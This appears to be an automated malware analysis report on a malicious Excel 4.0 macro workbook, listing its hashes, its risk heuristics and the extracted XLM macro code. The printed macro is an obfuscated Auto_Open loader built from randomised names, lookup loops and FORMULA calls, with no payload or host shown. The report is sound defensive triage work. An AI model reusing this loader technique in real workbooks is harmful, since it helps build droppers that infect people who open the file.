Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3c50c5daa95201e8…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:32:10 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: d09bc8b1c1a47daed38ae881a703f0cb SHA-1: 433d52906cdd08ae044dc9ddbd931b3e757b006c SHA-256: 3c50c5daa95201e8812d5d7bdd3a6e8743d694195bc6674c8f2dc4572d86c23a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6518 bytes
SHA-256: 0d32fd567a22e82f67071bcf198733aee6238652e0fbb2a08b2a34b22fa99344
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Xnayplj
' 0018     20 LABEL : Cell Value, String Constant - abgNo len=0 
' 0018     24 LABEL : Cell Value, String Constant - AFmeAOkay len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F192 
' 0018     20 LABEL : Cell Value, String Constant - AWhtf len=0 
' 0018     25 LABEL : Cell Value, String Constant - dVJCyfBOwP len=0 
' 0018     23 LABEL : Cell Value, String Constant - IDCmrcdG len=0 
' 0018     25 LABEL : Cell Value, String Constant - mXFXlTTHRT len=0 
' 0018     25 LABEL : Cell Value, String Constant - nEBCSSOjzk len=0 
' 0018     26 LABEL : Cell Value, String Constant - oERdUjuzavA len=0 
' 0018     23 LABEL : Cell Value, String Constant - OhgRsIsY len=0 
' 0018     21 LABEL : Cell Value, String Constant - PmYQwr len=0 
' 0018     26 LABEL : Cell Value, String Constant - QVLnwmJLFpU len=0 
' 0018     22 LABEL : Cell Value, String Constant - rpyGFpc len=0 
' 0018     24 LABEL : Cell Value, String Constant - rtajRsFKt len=0 
' 0018     24 LABEL : Cell Value, String Constant - rTzRMczEe len=0 
' 0018     24 LABEL : Cell Value, String Constant - Tctyhyvyw len=0 
' 0018     24 LABEL : Cell Value, String Constant - XkuijEiKx len=0 
' 0018     24 LABEL : Cell Value, String Constant - ycJSUlbXy len=0 
' 0018     23 LABEL : Cell Value, String Constant - YpUXhIQQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - YRZbgSOwOWL len=0 
' 0018     20 LABEL : Cell Value, String Constant - yVdyG len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Xnayplj,F103,"SET.NAME("QVLnwmJLFpU",VALUE("0"))",""
'  Xnayplj,F108,"SET.NAME("mXFXlTTHRT",QVLnwmJLFpU)",""
'  Xnayplj,F111,"SET.NAME("rpyGFpc",QVLnwmJLFpU)",""
'  Xnayplj,F113,"SET.NAME("rtajRsFKt",COUNTA(Tctyhyvyw))",""
'  Xnayplj,F116,"SET.NAME("AWhtf",COUNTA(yVdyG))",""
'  Xnayplj,F119,[],""
'  Xnayplj,F122,"SET.NAME("IDCmrcdG","")",""
'  Xnayplj,F124,"mXFXlTTHRT",""
'  Xnayplj,F128,"SET.NAME("OhgRsIsY",HLOOKUP("*",Tctyhyvyw,mXFXlTTHRT,FALSE))",""
'  Xnayplj,F130,"nEBCSSOjzk",""
'  Xnayplj,F134,"SET.NAME("YpUXhIQQ",QVLnwmJLFpU)",""
'  Xnayplj,F136,[],""
'  Xnayplj,F139,"YpUXhIQQ",""
'  Xnayplj,F143,"PmYQwr",""
'  Xnayplj,F148,"oERdUjuzavA",""
'  Xnayplj,F153,"rTzRMczEe",""
'  Xnayplj,F156,"SET.NAME("ycJSUlbXy",VALUE(HLOOKUP("*",yVdyG,rTzRMczEe,FALSE)))",""
'  Xnayplj,F159,"AFmeAOkay",""
'  Xnayplj,F164,"IDCmrcdG",""
'  Xnayplj,F166,"rpyGFpc",""
'  Xnayplj,F171,NEXT(),""
'  Xnayplj,F175,"abgNo",""
'  Xnayplj,F178,"SET.NAME("f",INT(T(FORMULA(T(IDCmrcdG)&"",""&T(abgNo)))))",""
'  Xnayplj,F182,"XkuijEiKx",""
'  Xnayplj,F185,NEXT(),""
'  Xnayplj,F190,RETURN(),""
'  Xnayplj,F220,"SET.NAME("YRZbgSOwOWL",F103)",""
'  Xnayplj,F223,"Tctyhyvyw",""
'  Xnayplj,F228,"SET.NAME("yVdyG",R66C12)",""
'  Xnayplj,F230,"SET.NAME("XkuijEiKx",236)",""
'  Xnayplj,F233,"SET.NAME("dVJCyfBOwP",6)",""
'  Xnayplj,F235,YRZbgSOwOWL(),""
'  Xnayplj,F236,HALT(),""